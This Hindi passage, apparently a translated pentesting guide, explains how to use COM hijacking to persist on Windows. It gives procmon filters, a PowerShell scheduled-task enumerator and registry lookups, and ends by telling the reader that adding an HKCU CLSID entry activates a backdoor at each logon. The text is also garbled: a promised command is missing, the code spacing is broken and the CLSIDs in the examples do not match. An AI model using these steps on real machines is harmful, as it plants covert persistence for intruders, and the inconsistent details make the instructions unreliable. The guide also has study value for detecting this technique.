चूंकि HKCU के मानों को उपयोगकर्ताओं द्वारा संशोधित किया जा सकता है, COM Hijacking को स्थायी तंत्र के रूप में उपयोग किया जा सकता है। procmon का उपयोग करके, उन खोजे गए COM रजिस्ट्रियों को खोजना आसान है जो मौजूद नहीं हैं और जिन्हें एक हमलावर स्थायी बनाने के लिए बना सकता है। फ़िल्टर:
RegOpenKey संचालन।
जहाँ ResultNAME NOT FOUND है।
और PathInprocServer32 के साथ समाप्त होता है।
एक बार जब आप तय कर लें कि किस गैर-मौजूद COM का अनुकरण करना है, तो निम्नलिखित कमांड चलाएँ। यदि आप किसी ऐसे COM का अनुकरण करने का निर्णय लेते हैं जो हर कुछ सेकंड में लोड होता है, तो सावधान रहें क्योंकि यह अधिक हो सकता है।
Windows Tasks कस्टम ट्रिगर्स का उपयोग COM ऑब्जेक्ट्स को कॉल करने के लिए करते हैं और चूंकि इन्हें टास्क शेड्यूलर के माध्यम से निष्पादित किया जाता है, इसलिए यह अनुमान लगाना आसान होता है कि ये कब ट्रिगर होंगे।
# Show COM CLSIDs$Tasks =Get-ScheduledTaskforeach ($Task in $Tasks){if ($Task.Actions.ClassId -ne$null){if ($Task.Triggers.Enabled -eq$true){$usersSid ="S-1-5-32-545"$usersGroup =Get-LocalGroup|Where-Object { $_.SID-eq $usersSid }if ($Task.Principal.GroupId -eq $usersGroup){Write-Host"Task Name: " $Task.TaskNameWrite-Host"Task Path: " $Task.TaskPathWrite-Host"CLSID: " $Task.Actions.ClassIdWrite-Host}}}}# Sample Output:# Task Name: Example# Task Path: \Microsoft\Windows\Example\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [more like the previous one...]
आउटपुट की जांच करते समय, आप एक ऐसा चयन कर सकते हैं जो हर बार एक उपयोगकर्ता लॉग इन होने पर निष्पादित होने वाला है।
अब HKEY_CLASSES_ROOT\CLSID और HKLM और HKCU में CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} की खोज करते समय, आप आमतौर पर पाएंगे कि यह मान HKCU में मौजूद नहीं है।
# Exists in HKCR\CLSID\Get-ChildItem-Path"Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"NameProperty------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel:Both# Exists in HKLMGet-Item-Path"HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"|ft-AutoSizeNameProperty------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPSC:\> Get-Item-Path"HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
फिर, आप बस HKCU प्रविष्टि बना सकते हैं और हर बार जब उपयोगकर्ता लॉग इन करेगा, आपका बैकडोर सक्रिय हो जाएगा।